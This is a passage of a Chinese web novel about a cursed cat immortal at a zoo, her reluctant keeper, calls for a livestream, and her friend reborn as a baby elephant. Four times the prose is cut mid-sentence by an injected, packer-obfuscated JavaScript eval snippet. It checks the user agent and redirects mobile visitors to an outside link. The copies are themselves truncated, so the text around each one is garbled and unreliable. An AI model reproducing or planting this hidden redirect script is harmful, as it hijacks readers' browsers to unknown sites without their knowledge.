欧若拉掰着爪子数数:“一、二、三…九、十?十一!十二!” “十二条小鱼干!你为什么要多给我呀?喵呜?难道你要给我增加工作量?让我每天抓四只老鼠?”欧若拉大叫一声。 “你怎么这么紧张?”黎修羽打开笔记本电脑,聚精会神地盯着他的课题内容。 “我就是很紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526374|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 张!”欧若拉说,“呸呸呸!喵呜,如果你真要这样苛待我,我也不怕,反正我有的是办法,谁让我是这座动物园真正的王呢?” 黎修羽挑挑眉,目光依旧在电脑屏幕上:“你这么厉害啊?” 欧若拉沾沾自喜:“对啊,虽然你每天起早贪黑给这些动物们弄吃的弄喝的,但很可惜哦,喵呜,这里所有的动物都听我的,我让他们用翅膀和爪子拍你的头,他们就绝对不敢朝你吐口水骂你,哈哈哈哈哈——啊——” 她捂住嘴巴,又意识到自己把真话全都吐露出来了。 她斜楞着眼睛瞧黎修羽,发现黎修羽似乎对她的这些个嘲讽毫无波澜,只是用“了解一切”的眼神斜睨着她。 顿时,她觉得她的一颗心终于死了。 不会吧… 不可能吧… 但好像… “你是不是…” “嗯。”黎修羽喉咙里发出一点声音。 “我还没说是什么呢。” “我知道你弄虚作假了。” 欧若拉蹲在地上:“你怎么把话说得这么严重呀?喵呜?” “我还知道这里的动物都很喜欢你。” “这我承认,”欧若拉捋捋胡子,“但,但事情也不能说得这么难听吧,我可是动物园的活雷锋,遇见我算你倒霉。” “我见识到了。”黎修羽语气很平淡,眼神更平淡。 “好嘛,喵呜,你说说看,”欧若拉叼起一根小鱼干,“你是从最开始就知道老鼠都是在装死了吗?” “是的。”黎修羽说。 欧若拉嚼了一下:“这么早!喵呜,那你为什么不戳破我呢?” 黎修羽合上电脑:“小鱼干,好吃吗?” 欧若拉看到黎修羽的目光直勾勾的盯着她盘里的小鱼干,立即伸出两只小爪爪将小鱼干全都揽到怀里。 “这是我的!” 黎修羽收回目光,嘴角勾起一抹笑。 “那以后你能不能把小鱼干免费送给我吃?”欧若拉大言不惭,“这是给你个机会让你孝敬我。” “可以。”黎修羽平静地说。 “太好啦!再也不用费尽心机骗吃骗喝啦!” 欧若拉眯眼笑起来,跳到黎修羽脚下,躺倒,来回蹭他的鞋。 黎修羽下意识地把脚挪开。 他尴尬地咳嗽一声:“但前提条件是,把动物园所有园区的钥匙都还给我。” “为什么啊!喵呜,我才是这个动物园的王!”欧若拉跳起来。 黎修羽摇摇头:“跟这个没关系,你这样将猛兽们放出来,对参观的游客而言非常危险,对这些动物也不是好事,园区的划分都是有合理性在的。” “喵呜…你还挺懂布局…”欧若拉说,“这钥匙你今天必须要拿到吗?” “是的。”黎修羽认真地说。 “拿不到,就真的不给我小鱼干吃?”欧若拉斜眼看黎修羽。 “是的。”黎修羽依旧认真,低垂着眸子看她。 “好吧,给你!呜,那…你到底还卖不卖动物园呀?”欧若拉走到食盆旁边,边吃边说。 黎修羽答道:“不知道。” 欧若拉吐出一口小鱼干:“怎么又变成不知道啦!” 14. 那我就要当顶流 “很多事情,短时间内没办法想明白。”黎修羽走到窗台,从这里正好能看见远处的猴山。 “我发现了,你对猴子最温柔。”欧若拉走到黎修羽脚边,又跳到窗台上。 黎修羽往后退了半步:“…你还能发现这个?” “瞧不起谁呢?喵呜!”欧若拉甩甩粉色的尾巴,“我指挥老虎和猪出门,你就把他们都赶回园子里,我指挥猴子们到处乱窜,你不仅不赶他们,还跟着那些家长一起喂了根香蕉!而且,我这只美若天仙的绝美小猫咪站在你面前,你都视而不见,反而盯着远处那群猴子看。” 黎修羽没说话。 他转身向书柜走去。 “喂,”欧若拉在窗台上走了几步,尾巴翘得高高的,尾巴尖弯着,“你还卖不卖…” “欧若拉。” “在。” “你今天问了几遍这个愚蠢的问题了?” 她想说她才刚问第一遍,但不出意外,说出口的是“三遍”。 她气到龇牙咧嘴,喉咙里发出“呜呜”声。 “你真恶毒,故意逼我讲真话!” “我不否认。”黎修羽耸耸肩。 书桌上突然传来连续的“叮叮叮叮叮叮叮叮叮叮”声。 欧若拉被吓了一跳,瞬间炸毛,尾巴竖成一根天线,左右各晃一下,然后一动不动。 阳光穿过窗户,照在窗台上,也照在她每一根毛发上。 “什么鬼啊!”欧若拉跳到桌子上。 是抖音消息提醒。 黎修羽唯一的那条抖音下面突然蹦出来几百条评论。 他错愕一瞬,瞬间又变成几千条了。 欧若拉盯着他的手机:“黎修羽,这块板砖要炸了吗?” 黎修羽拿起手机,锁屏界面上,是不断刷新的点赞量和评论区。 “叮——” “叮——” “叮——” “……” “叮…” 他解锁手机,瞬间,评论已经上万了。 欧若拉瞅瞅“板砖”,又瞅瞅黎修羽。 她发现黎修羽的瞳孔越放越大,脸上的表情也从莫名其妙变成错愕,又变成…一丢丢羞涩??? 欧若拉倒要看看这块板砖到底怎么了。 她凑近一看,发现上面密密麻麻地布满了一行又一行的字。 难道!这就是传说中的电视机! “你的电视机要炸啦。”欧若拉小嘴变成圆形。 “这是手机。”黎修羽说。 “哦!” 原来这是手机! 这两天动物园闹的,她看到那么多人举着板砖,还以为那些人都是太生气了,要揍她呢! “那电视机呢?”欧若拉问。 黎修羽指了指远处的黑色大屏幕。 “哦!”欧若拉点点脑袋,“我想看看你的手机。” 欧若拉趴在手机前。 幸好她上过九百年义务教育,才能几乎把这些字都认全些,虽然有些俚语她搞不明白。 热评1:哥还在修文物吗哈哈哈哈(猪猪侠心虚) 这条评论已经有十万赞了。 热评2:动物园园长?画风好清奇(棕老鼠坏笑) 热评3:有为了嗑cp而来的吗?帅哥和猫天仙配。配图:黎修羽看着欧若拉“宠溺”一笑的瞬间截图 热评4:你是不是星羽动物园园长?你家老虎背猫上热搜啦哈哈哈哈(jakehowie吐舌头) 热评5:别修了。。。快回家看看猫吧。。。烫搜第一啦。。。(尼克狐尼克捏鼻子跳舞) 欧若拉念着:“烫…搜…第…一…沙溢思?” 她抬起脑袋看着黎修羽。 黎修羽说:“你火了。” “蛙趣!我看看。”欧若拉瞪大眼睛,更仔细地阅读着,比九百年义务教育里的每一秒都认真。 热评6:夹总地盘来的留(小蓝人小红人拥抱),xhs来的留(躺下),自己刷到的留(玫瑰花)我先(躺下) 黎修羽往下一滑,刷新评论区。 评论n:艾特好友。。。快来看这唯一一条。。。画风好正经。。。好搞笑。。。(欧若拉骑虎指挥“交通”) 评论n:职业好小众。。。 评论n:帅 评论n:我求你了。。。在干嘛。。。(草原牛斜眼瞅) 评论n:小猫叫什么名字啊啊啊啊啊啊(大鼠喝老鼠药) 回复:蹲 评论n:刷到同城了(黄豆憨笑)明天去动物园蹲蹲(成才吃黄瓜) … 最新一条评论是3秒前。 评论n:求你开直播啊,我从山东赶过去得一天呢(牛泪) 下一秒,很多人都开始附和他。 黎修羽往下一滑。 回复1:点了,俺也想看 回复2:俺也一样 回复3:我求你了。。。 … 欧若拉几乎趴到屏幕上,一字一句地念着:“求…你…开…直…播…喵呜!人家让你开直播啊。” 黎修羽说:“你知道直播是什么吗?” “…反正我要上电视,喵呜,你演示给我看我就知道了!”欧若拉斜眼看他。 “你就这么想红吗,欧若拉。” 欧若拉立即说:“对啊!我这么漂亮的小猫咪当然要让所有人都看见才行,这是我对全人类的造福呢!这个爆红在你们人类世界叫什么?” 黎修羽答道:“网红,顶流。” “顶流听起来更霸气一点。那我就要当顶流,我要被夸奖嘛!” 欧若拉捋捋胡子。 “等我当了顶流,所有人都会知道你是这个动物园的主人,你就要永远背着动物园负重前行,敢抛弃动物园?有你好果汁吃,喵呜!以后你就再也甩不掉这个动物园啦,看你还怎么卖………你能不能别总是忽悠我说真话呀…” 欧若拉尴尬一笑,又立即恢复高冷状态,仿佛一口气说完所有真心话的小猫是她爷爷一样。 黎修羽没理她,他的手机铃声响了。 是个本地的陌生号码。 黎修羽没接。 同样的手机号又打进来第二遍。 响了十秒,黎修羽还是没动静。 “你倒是接啊。”欧若拉拍拍手机。 黎修羽说:“我不想接。” “那我给你接!肯定是粉丝打进来的,你别耽误我大事儿!”欧若拉张牙舞爪,狠狠拍黎修羽的手机。 黎修羽想拦也拦不住,或者说他也有点儿想任由她这样操作。他看着欧若拉一通乱指挥,最后一下,竟然真的拍在接听键上了。 “喂?是黎园长吗?喂?” “喵呜!通了!有人说话!”欧若拉跳来跳去。 黎修羽在欧若拉背后默默地翻了个白眼。 “你好,哪位。”他吱声了。 “啊!黎园长你好!我是咱们京川市融媒体中心的记者王建国,今天白天咱们见过, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526375|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还有印象吗?” “…请问有什么事吗?” “是这样的,今天在星羽动物园的素材都很有趣,我已经拿给领导过目了,领导说让我联系你,看看后续能不能加个采访和日常拍摄。”王建国笑着说。 黎修羽说:“不用了,谢谢。” “你是坏人吗?你怎么能拒绝得这么干脆?”欧若拉很惊讶。 黎修羽斜眼看了她一眼。 “哈哈哈,是暂时不方便吗?是这样的,黎园长,我能看得出来,您是个特低调的人,我理解您害怕动物们这安静的生活被打扰到,但是星羽动物园爆火也是正在发生的、不可避免的事情。现在大家都对您的动物园关注度特高,更过分的,就像今早晨门外的那些主播一样,架着设备就要往里面冲。我们领导也是想给您和动物园拍摄点儿日常生活,满足满足大家的好奇心,这样也省得那些蹭热度的人为了流量来打扰您和小动物们,哗众取宠。” 黎修羽知道记者是怕新闻的时效性就这么过去了,想趁热打铁抢头条,但记者说的也的确有道理。 哪怕他再不想参与这些热点,这些热点也的确已经产生了,网络上的趋势也越来越大。 黎修羽向欧若拉送去一个无奈的眼神:“嗯,我考虑一下,后续再约。” 王建国说:“太好了,黎园长,这样吧,我加你微信吧,我把我的一些拍摄想法发给你,咱们有事儿好商量。” “好的。” 黎修羽挂断电话。 手机上又蹦出来好几条姜老师发来的微信。 姜老师:黎园长,这两天的视频在网上都传疯啦,我们学校好多这次没参加活动的家长都在问什么时候也能去呢。 姜老师:您有没有开直播的打算呀?您要是开播的话,我们这边的家长们都愿意给您捧场呢。 姜老师:啊,对了,刚刚市融媒体中心的王老师说想跟您做个采访,我就把您电话给他了,没提前跟您说,抱歉呀。 “……”黎修羽无言以对。 欧若拉还在一字一句地读汉字。 字太多了,她觉得自己有点儿晕字。 但她还是看见了三个非常醒目的字:开!直!播! “猫妈妈呀!这个人也说让你开直播诶。” 欧若拉用掌心戳戳屏幕,毛绒绒的爪子搭在黎修羽的拇指上,又抬头,看看黎修羽。 “你考虑考虑呀?亲?” 黎修羽欲言又止,手机微信又弹出条消息。 姜老师:今天我们班上那个小女孩儿回家就跟她妈妈讲,觉得您新养的那只小猫猫才是动物园的园长,而您就是个铲屎的哈哈哈哈,您别生气哈哈哈,我感觉小朋友们的观点都好有意思。 姜老师:您要是真开直播的话,拜托,请一定要告诉我,现在不只是家长和孩子,我也特别喜欢您那只小猫,老虎背猫简直太酷了。 “她在夸我哎!”欧若拉猫脸震惊,粉色的尾巴晃了一下,“啧啧,真有眼光呀!” 手机息屏了。 “坏掉了!”欧若拉察觉到是黎修羽搞的鬼,抬起离得黎修羽很近的毛绒绒的脑袋,“干嘛?喵呜?” 黎修羽低眸,长长的睫毛忽闪一下,看着手边这团白色毛球:“没电了。” 欧若拉气鼓鼓地说:“骗子。” ! 她竟然真说出这两个字了。 足以可见,这个凡夫俗子现在真的是骗子。 就是他搞的鬼!哼!喵呜! 黎修羽不否认。 15. 疼到微死了,疼到想睡觉 欧若拉说:“那…你到底开不开?” 黎修羽将手从欧若拉身下抽走,整只手原本被包裹住的温热瞬间四散到无形的空气中。 他盯着自己的手看,发现手背被压红了一小片。 一瞬间的愣怔,竟让他不知道是因为什么而恍惚了。 他抬眼看着远方,还是那扇窗户,透过窗户向外望去,还是能看到猴山。 其实,也能看到这座动物园的其他地标建筑和小动物们。 “不开。”黎修羽回应她。 “你不开,我就把你的,你的,”欧若拉看着黎修羽放在桌子上的文物图纸,“你的唐三彩都打烂。” 黎修羽挑一只眉:“你知道唐三彩在哪?” 欧若拉摆摆爪子:“不知道,喵呜。但等我知道了,我就去让它们发臭!发烂!” 黎修羽语气淡淡的:“那些文物是国家的,不属于我个人,你可以去打烂,代价无非是他们一定会把你扣住做研究,让你赔钱。” 欧若拉往后退了两步,屁股将笔记本电脑屏幕撞得动了一下。 “那你得来救我。” “不救。”黎修羽说。 “你真就这么冷血?”欧若拉呲着牙问。 黎修羽点了下下巴:“是的。” “那我只能未战先降咯。喵呜,真是个高冷的男人呀。” 欧若拉在桌子上滚了一圈,伸直身子,粉色的粗尾巴扫过一张张文物图纸。 她身旁的手机突然响了两下。 “喵呜,有人跟你说话。”欧若拉伸着爪子,扒拉黎修羽的手机。 黎修羽打开抖音。 他的私信也仿佛被炸弹轰过了。 他定睛一看,点开其中一条。 “园…长…我…女…儿…病…直…播…”欧若拉一个字一个字地念着,念了几个字,立即扒拉黎修羽的手指,“直播我吧!这个人类也想看我!” 黎修羽拿起手机。 “哼,不给我看,我还就稀罕呢,呸…” 欧若拉又想揍自己的嘴了。 她捂着嘴,又躺回桌子上。 私信的内容是这样的: 园长您好,不好意思打扰您了(祈祷/祈祷/祈祷)。我是一名95后妈妈,我女儿今年七岁,患白血病第二年了,前天刚做了化疗,情况不太乐观。昨天我给她看手机,她刷到您的动物园了!她特别特别喜欢您的动物们,尤其是那只白色的小猫,只要看见白色小猫的视频,哪怕在ICU里,她也会露出微笑。今天她跟我说,看见小猫那么坚强,那么有趣,她也可以稍微不那么怕病痛了。我没条件,没办法带女儿去您的动物园里参观,今天在网上搜索到您的账号,这便来给您留言了,但愿您能看得到。请您一定要考虑一下直播和拍视频呀(祈祷/祈祷/祈祷),我们全家都在期待您的更新。(祈祷/祈祷/祈祷) 黎修羽盯着这条私信看了很久,久到欧若拉在他面前晃来晃去,将笔洗打翻,也难以吸引走他的注意力;久到欧若拉趴在他的图纸上睡着了,他才放下手机。 此时月亮已走到西边。 园区里面,不知道哪些个动物轻轻叫着。 黎修羽伸出手,手掌即将抚摸到欧若拉的白色脑袋时,又停止了动作。 他顿了顿,不知在思考什么,将欧若拉轻轻抱起,放到床铺上了。 他和衣躺下,躺在熟睡的小猫身边。 虽然和这只小猫中间也隔了一段距离,下意识的想要触碰小猫的手也终于放弃,但他总觉得,自己似乎是生平第一次没那么讨厌动物,可也只是没“那么”讨厌而已。 半夜,欧若拉醒了。 她用尾巴卷着黎修羽的手指,把手机解锁,打开抖音,盯着那条私信看了好久。 她不知道白血病是什么。 但听这个母亲的描述,似乎是很严重很严重的病。 这屏幕太亮了,以至于让她觉得她的眼睛涩涩的,就像有液体要流下来似的。 尾巴扫过眼睛,她轻轻地揉了揉眼,往远处看去。 好亮呀。 今天一定是满月吧。 她踩过黎修羽的身体,跳下床,又扒拉开窗帘,跳到窗台上。 桂魄仙子在跟局长约会吗? 可恶的局长,没有我这个捣蛋鬼了,你真的会更开心吗? 已经来到人间好些天了,天宫没有下来一个同事对她表达慰问,连她最好的好朋友阿金也没再联系她。 狗阿金,你还欠我半瓶玉露呢。 她眨眨眼睛,小爪子举起来,隔着玻璃,描摹着月亮的形状。 她想起在天上的日子。 每逢农历十五,她总要趁着月色去天宫其他局子里偷着玩闹。 因为天宫有个这样的规矩,农历十五的时候,每一位天宫公务员都必须在夜晚到来之前就待在原地不动。 不论身在何处。 更不可以观赏月亮。 可欧若拉偏不。 事实证明,就算违反了这个不合理的规定,也没有人就真的会惩罚她。 欧若拉总是趁着月色将月桂树上的果子摘下来,藏到局长大人床底下。 她也总是去太上老君的玄都八景宫里转悠,将老君藏在电冰箱里的仙丹喂给狗同事吃。 仙…丹… 呃。。。 对啊! 对啊! 她全都想起来了! 黎修羽之所以能对她越来越宽容,甚至她不用逮老鼠也会给她小鱼干吃,一定是因为她可以跟黎修羽交流,她可以向他诉说她的心里话! 可那些动物不可以呀。 这个凡夫俗子不知道那些动物在想什么,那人类的笨蛋脑子又怎么能跟动物共情呢? 他那么讨厌动物,一定是因为他还不知道动物们的可爱之处。 对!一定是这样的。 只要让他听见动物们的真实想法,他一定可以改变观念的! 既然如此,我就… 不要啊…喵呜…难道我必须得伸出爪爪,从太上老君的炼丹阁里摸一颗百兽糖,并承担一万两黄金的罚款吗? 我才来几天呀? 喵呜!一分钱没赚呢,就又要搭进去一万两了! 可是… 她用爪子扒拉开窗帘,借着月光,看着黎修羽熟睡的侧脸。 她看了他很久。 终于,她咬咬牙。 “一万两就一万两,多一分都没得了!等我上电视爆红,我一定要狠狠地把这一万两黄金赚回来!” 她对着天空,伸出爪爪,用尽全身力气,咬着牙。 “go!go!go!giveme,百兽糖eon.” 她手中赫然出现一颗百兽糖。 “喵呜!”欧若拉笑起来。 但她不知道的是,由于她的法力实在被削弱了太多,根基不稳,力量传到太上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526376|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老君的电冰箱时,已经发生了轻微扭曲。 所以,装有百兽糖的瓶子被她打倒了,还有一颗百兽糖也落下凡间。 只是不知道落到哪里去了。 “罪犯欧若拉——惩罚目标增加一万两黄金——罪犯欧若拉——惩罚目标增加一万两黄金——罪犯欧若拉——”遥远的天界传来一阵阵回响,局长大人机械地念着播报。 “知道啦!”欧若拉朝天空吐了吐带刺的小舌头,“这个讨厌鬼语气这么沮丧,一定是我这次行动又打扰到他的约会了吧?爽!爽了!啊,好痛!” 她猛然捂住胸口。 她强烈地感受到,骨头下面藏着的小心脏正在使劲儿抽动,害得她龇牙咧嘴,好不难受。 “可恶啊,原来这就是小小的不一样的感受,你们太恶毒了,等我回去,我一定要把你们都丢去泥巴坑里陪那个讨厌鬼。” 她缓了好一会儿,踩终于吐出口气。 “疼到微死了,疼到想…想睡觉,喵呜。” 她又歪歪头,看着黎修羽。 月色下,黎修羽的呼吸很平稳。 好困啊。 照例,她迷迷糊糊地挪到黎修羽胸膛上,迷迷糊糊地对着黎修羽的嘴唇“吧唧”一口。 “香…啊呜。” 她将毛茸茸的爪子搭在黎修羽的喉结上,吧唧吧唧嘴,又睡着了。 黎修羽被她弄醒了,他睁开眼,摸了摸自己的嘴。 月亮从被拉开的窗帘缝隙里悄悄跑进来,映在这只小动物的雪白的毛皮上,闪着银光。 借着月光,黎修羽将嘴边粘着的毛摘下,定睛看了好久。 第一天,欧若拉将百兽糖泡到黎修羽每天早晨都要喝的冰美式里。 黎修羽刚要喝,就端去厨房倒掉了。 “怎么有股草味儿。” 欧若拉立即从洗碗池里把糖捞出来,捧在爪心,用力吹干。 “可恶!” 第二天,她把百兽糖塞进黎修羽每天都要吃的海盐花生酱里。 黎修羽嚼了一下,吐掉了。 “这里面怎么会有石头?” 欧若拉从垃圾桶里把糖扒拉出来。 “可恶!” 第三天,欧若拉没招了,敲响了门卫室的窗户。 “哈哈,是猫仙奶奶啊。” 欧若拉跳进屋内,跳到桌子上,舔舔李大爷刚泡好的陈茶。 “渴死我了,渴死我了,太可恶了,太可恶了!”欧若拉伸着带尖刺的小舌头,往外哈气。 “小黎园长又惹您不开心了?”李大爷坐到太师椅上,抿了口茶。 “他简直油盐不进!” 欧若拉一爪拍在桌子上,在桌子上落下一个凹下去的小猫爪印。 欧若拉跳到太师椅的扶手上:“你!你说黎修羽父母是你的恩人,那你也一定非常了解黎修羽吧!” “说实话,我跟小黎园长没咋见过。”李大爷摇啊摇,“他只在动物园刚建好的时候来过一次。” “喵呜,有这么好的近距离观察动物的机会,他竟然完全不把握?看起来他真的真的非常不喜欢小动物诶!真是个心软的男人!!!”欧若拉恶狠狠地说。 什么?! 她怎么…会脱口而出说黎修羽心软呢? 难道…这个男人真的是个心软的男人??? 毕竟现在她可是一只受过诅咒的小猫咪,从她口中说出的话一定都是真的。 16. 难道这庞然大物真的是… “这个人会心软吗?”欧若拉一脸鄙夷,“啧啧…” “他就是一个很善良的孩子呀!”李大爷坐在太师椅上晃呀晃,“我到现在都记得,十年前他第一次来这里的时候,或者说,他记事以来第一次见到他妈妈,也就是顾园长的时候,哈哈,顾园长给他买的台湾红豆饼被一只小猴子给抢走了。嘿,小黎园长原本还在默默地流眼泪,你也应该知道的,这个孩子的情绪总是很内敛,但是那只抢他东西的小猴子要从假山上掉下来的时候,他竟然比所有人冲得都快,立马跳进水里,把那只小猴子抱住了。” “那他后来有没有把红豆饼抢回来呀?”欧若拉眨眨琥珀色的眼睛。 “猫仙奶奶,你的关注点也太奇特了。”李大爷摇摇头,“反正后来顾园长想再给他买个红豆饼,他也不要了,就是一直盯着猴山看,要回家的时候,他还在回头看猴山呢。” “所以…这是他对猴山情有独钟的原因吗?原来他不是喜欢,是讨厌呀。”欧若拉啧啧一声,“那他妈妈还给他买过什么吗?” 李大爷叹了口气:“这我就不知道了,他爸妈太忙。” “人类的情感太复杂了,老狐狸,喵呜,你接触他们的时间比我要久,请问,你觉得黎修羽会讨厌他的妈妈吗?” 李大爷点点头:“老头子我啊,也觉得人类太复杂,我也说不上来。” 欧若拉点点头:“我找到答案了,多谢。” 欧若拉跳到窗户沿,一爪把窗户打开,飞奔出去。 “我好像也没透露什么啊…这奶奶…”李大爷又抿了口茶。 老鼠洞门口。 “啊?可是…可是我们鼠鼠家族已经改邪归正了呀…”鼠大灰说。 “改没改邪,归没归正,又有什么要紧的?偶尔做点坏事多有意思呀!干嘛这样固步自封?”欧若拉拍拍鼠大灰的头,“真是身在福中不知福的小老鼠哦。” 鼠大灰险些被拍进地里,吓得尾巴都缩起来了。 “那您说…您说吧…让我们偷什么呀?” 欧若拉小爪捂在嘴上,嘿嘿一笑:“很复杂啊!阿金说过,红豆饼是不油不腻的糖面混合物。你们,去偷500克低筋面粉,20克玉米淀粉,3克泡打粉,25克奶粉,80克白糖,两个鸡蛋…” 鼠大灰和其他老鼠同时掏出一片树叶,记下会议内容。 “还有…红豆!大量的红豆!bingo!”欧若拉拍拍爪子。 鼠大灰小心翼翼地抬头问:“您这是要做什么好吃的呀?” “爸爸我也想吃。”鼠大灰的孩子抱着他的腿摇来摇去的。 “嘘…咱们先不吃。” 欧若拉笑眯眯地把小老鼠崽子揽到身边:“嘿嘿,要制作台湾红豆饼哦,你叫我声绝世大美女,等做好了就给你尝尝,好吗?” 小老鼠点点头,立即跪下磕头:“绝世大美女!绝世大美女!” 其他小老鼠见状,也立即跑出来,跪成一片:“绝世大美女!绝世大美女!” “平身,平身!”欧若拉抬抬爪子,“大家见者有份啊!” “神仙大人,您真厉害,您是东北喵,竟然还会做相隔几千公里的台湾美食!” “其实我不会。”欧若拉摊开爪子,很无奈。 鼠群一阵骚乱。 “哎呀!要是我的好朋友阿金在就好了,她不仅会写作,还很会做饭呢。” “您是说我们的鼠界上神,锦毛鼠阿金吗?”一只老鼠说。 另一只老鼠接着说:“还是象宝宝阿金呀?” “大象里还有叫阿金的?喵呜?”欧若拉问。 “是的呀!昨天刚出生的象宝宝,还是我阿妈去帮忙接生的呢!大象真阔气,给了我阿妈三个大西瓜!我阿妈说,这只象宝宝天生异象,一出生就刨坑打洞,上辈子可能跟我们老鼠家族有渊源呢。” “带我去…”欧若拉莫明觉得好鸡冻,“带我去!” 非洲之歌——芭提雅园区。 欧若拉蹲在水池边的树枝上,伸着短短的脖子,聚精会神地看着远处那只刚出生的象崽子。 小象跪在地上,两只前脚掌不住地刨着泥地,周围尘土飞扬,她却依旧专心致志。 身后站着的象妈妈用象鼻子卷着一串香蕉,急得一直甩尾巴,像电风扇一样。 “宝宝,宝宝乖,妈妈给你香蕉吃,咱们不挖洞了好吗?”象妈妈把香蕉放下,用鼻子卷着小象的身体。 “不好,我要去找阎王爷讨个说法。”小象头也不回。 讨…个…说法? 还是找阎王爷?! 难道这庞然大物真的是… “阿…金?”欧若拉开口说,“喵呜?” 话音还没落下,小象的动作就立刻停止了。 周围依旧尘土飞扬,她的两只脚掌,包括鼻子,还插在刚刨好的小坑里。 她瞳孔微微一缩,象鼻微微抬起,“呼”地一声,从鼻子里喷出口混着许多尘土的热气,就像是基因里带着的动作一样,她用象鼻子擦了擦眼睛,缓慢地、超级缓慢地向欧若拉看过来。 一秒… 两秒… 三秒钟过去。 欧若拉看到的是一双红红的圆眼睛和向下咧着的嘴巴,还有那不住的发出委屈声音的大鼻子。 “欧若拉…欧若拉啊!!!啊啊啊!!!” 她最后的尖叫里全都是哭腔,这声震天怒吼吓得树上的麻雀全都和火箭一样起飞,吓得她妈妈也吧唧一声坐在地上,将卷来的香蕉全都给压扁了。 欧若拉从树枝上跳下来,跳到水池边的石头上。 “是我!!!”,欧若拉吟唱起来,“我送你离开,千里之外,你是否还在…” “生死难猜,用一生去等待…我在!!!我在啊,欧若拉!!!” 小象像苏炳添一样朝欧若拉的方向飞奔,踩着满天飞尘。 欧若拉琥珀色的瞳孔骤然放大,眼看大事不妙,一个跳跃,就如同雅典奥运会夺冠的刘翔一样,从小象身上跨过去。 果然,半秒之后,小象一头栽进水塘里,扎了个好大的猛子,溅起的水花将周围都淋湿了。 除了连蹦好几下,蹦到八丈开外的欧若拉。 欧若拉用爪子拍拍胡子,一副优雅做派。 “宝宝!我的宝宝!”象妈妈跑到水塘边,卷着小象的鼻子,将她拉上来。 小象迷糊了一下,就立即向欧若拉跑来。 “啊啊啊啊,欧若拉!你竟然也在这里!”她哭得不行,边跑边哭,泪水和池塘水混在一起,再加上脸上的泥巴,已经没个样了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17526377|203524||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 欧若拉立即跳到树上,伸出粉色的爪爪,像交警指挥交通一样:“Stop!!!” 小象立即刹住脚步。 “欧若拉!!!我的好朋友欧若拉!!!你怎么躲我呀!!!我是阿金!!!阿金!!!老鼠阿金呀!!!呜呜呜,我太惨啦!!!”小象又哭又嚎,蹦蹦跳跳。 “你先别哭,”欧若拉还举着粉色爪爪,“狗阿金,你是不是还欠我半瓶玉露?” “哪有…”阿金眼神躲闪。 “喵呜!局长大人把我踹下来之前,把我嘴里的半瓶玉露砸在你头上啦。” “好像是有这么回事儿…呜呜呜,那我现在也得到惩罚了呀…你就别问我要了。”阿金又哭起来。 “好吧好吧!可是你怎么变成这个样子了?你以前多好看呀,小小的小可爱!现在这是什么庞然大物呀?丑死啦!” 阿金低头看看自己,脸上更委屈了:“我…我…” 她原本错投了象胎,就够难过的了,现在她最好的朋友竟然也觉得她奇怪,她一定更难过了。 象妈妈跑过来,将象鼻子搭在阿金的身上:“宝宝乖,妈妈在呢。” “我才不是你的宝宝!”阿金大叫一声。 象妈妈被突如其来的怒吼吓得后退了小半步,但还是没离开。 阿金呜咽道:“我是老鼠家族最华丽的锦毛鼠!我是一只会写字会做饭的小老鼠!我是大象的反义词!反义词你懂吗?我可是天宫书局的创始仙。” 阿金用象鼻子指着象妈妈和其他非洲象:“你,还有你,没文化的妖精!可是…可是我现在也变成没文化的妖精了…呜呜呜…” 欧若拉看着阿金越来越往下低的头,突然不知道该怎样说话了。 她刚刚一激动,就脱口而出了一些不中听的话。 天上的神仙们都说假话伤人,可她怎么觉得这样的真话更伤人呢? 但幸好她的说话对象是阿金,阿金应该早就习惯她的阴晴不定了…吧? “抬头,阿金。” 欧若拉鼓了鼓毛茸茸的脸。 阿金立即抬起头。 欧若拉的耳朵已经变成飞机耳:“你为什么会到人间来,还变成一头象了?” 阿金的嘴角却更沮丧了:“都怪阎王爷让我投错胎啦!天上的同事们非要说我已经穷思竭虑了,想要搜索好的素材必须要到酸甜苦辣咸的人间体验一番。我原本是要投到父母都是军政界人才的书香门第的,可现在…现在…呜呜呜呜呜…这可怎么办呀!” 